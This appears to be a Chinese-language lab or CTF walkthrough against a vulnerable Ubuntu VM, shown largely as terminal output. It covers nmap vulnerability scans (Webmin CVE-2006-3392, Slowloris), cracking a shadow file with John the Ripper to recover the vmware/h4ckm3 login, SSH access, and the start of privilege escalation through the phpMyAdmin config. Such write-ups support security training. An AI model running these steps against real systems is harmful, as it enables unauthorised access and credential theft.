root@kali:~# nmap -sn -v 192.168.33.0/24 Nmap scan report for localhost (192.168.33.3) Host is up (0.00020s latency). MAC Address: 00:0C:29:5E:18:C9 (VMware)
root@kali:~# nmap -sT -Pn -n -vv 192.168.33.3 -p- -sC --script=vuln PORT STATE SERVICE REASON 22/tcp open ssh syn-ack |_clamav-exec: ERROR: Script execution failed (use -d to debug) 80/tcp open http syn-ack |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: | /icons/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6' | /index/: Potentially interesting folder |_ /php/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6' |_http-jsonp-detection: Couldn't find any JSONP endpoints. | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-trace: TRACE is enabled | Headers: | Date: Sun, 29 Dec 2019 08:21:03 GMT | Server: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6 | Connection: close | Transfer-Encoding: chunked |_Content-Type: message/http |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) |_http-wordpress-users: [Error] Wordpress installation was not found. We couldn't find wp-login.php 139/tcp open netbios-ssn syn-ack |_clamav-exec: ERROR: Script execution failed (use -d to debug) 445/tcp open microsoft-ds syn-ack |_clamav-exec: ERROR: Script execution failed (use -d to debug) 10000/tcp open snet-sensor-mgmt syn-ack |_clamav-exec: ERROR: Script execution failed (use -d to debug) | http-vuln-cve2006-3392: | VULNERABLE: | Webmin File Disclosure | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2006-3392 | Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML. | This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences | to bypass the removal of "../" directory traversal sequences. | | Disclosure date: 2006-06-29 | References: | http://www.exploit-db.com/exploits/1997/ | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392 |_ http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
root@kali:~# john shadow.txt --wordlist=/usr/share/wordlists/rockyou.txt Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 5 password hashes with 5 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status h4ckm3 (vmware) 1g 0:00:03:57 DONE (2019-12-31 03:46) 0.004212g/s 59396p/s 269590c/s 269590C/s !!!0mc3t..*7¡Vamos! Use the "--show" option to display all of the cracked passwords reliably Session completed root@kali:~# john --show shadow.txt vmware:h4ckm3
1 password hash cracked, 4 left
得到用户名和密码：vmware/h4ckm3
getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
root@kali:~# ssh vmware@192.168.33.3 The authenticity of host '192.168.33.3 (192.168.33.3)' can't be established. RSA key fingerprint is SHA256:+C7UA7dQ1B/8zVWHRBD7KeNNfjuSBrtQBMZGd6qoR9w. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.33.3' (RSA) to the list of known hosts. vmware@192.168.33.3's password: Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Jun 20 14:35:37 2008 vmware@ubuntuvm:~$ id uid=1000(vmware) gid=1000(vmware) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),111(lpadmin),112(admin),1000(vmware) vmware@ubuntuvm:~$ whoami vmware
提权
phpmyadmin里面的config.inc.php文件没有发现任何有价值的密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
$cfg['Servers'][$i]['host'] = 'localhost'; // MySQL hostname or IP address $cfg['Servers'][$i]['port'] = ''; // MySQL port - leave blank for default port $cfg['Servers'][$i]['socket'] = ''; // Path to the socket - leave blank for default socket $cfg['Servers'][$i]['connect_type'] = 'tcp'; // How to connect to MySQL server ('tcp' or 'socket') $cfg['Servers'][$i]['extension'] = 'mysql'; // The php MySQL extension to use ('mysql' or 'mysqli') $cfg['Servers'][$i]['compress'] = FALSE; // Use compressed protocol for the MySQL connection // (requires PHP >= 4.3.0) $cfg['Servers'][$i]['controluser'] = ''; // MySQL control user settings // (this user must have read-only $cfg['Servers'][$i]['controlpass'] = ''; // access to the "mysql/user" // and "mysql/db" tables). // The controluser is also // used for all relational // features (pmadb) $cfg['Servers'][$i]['auth_type'] = 'http'; // Authentication method (config, http or cookie based)? $cfg['Servers'][$i]['user'] = 'root'; // MySQL user $cfg['Servers'][$i]['password'] = ''; // MySQL password (only needed
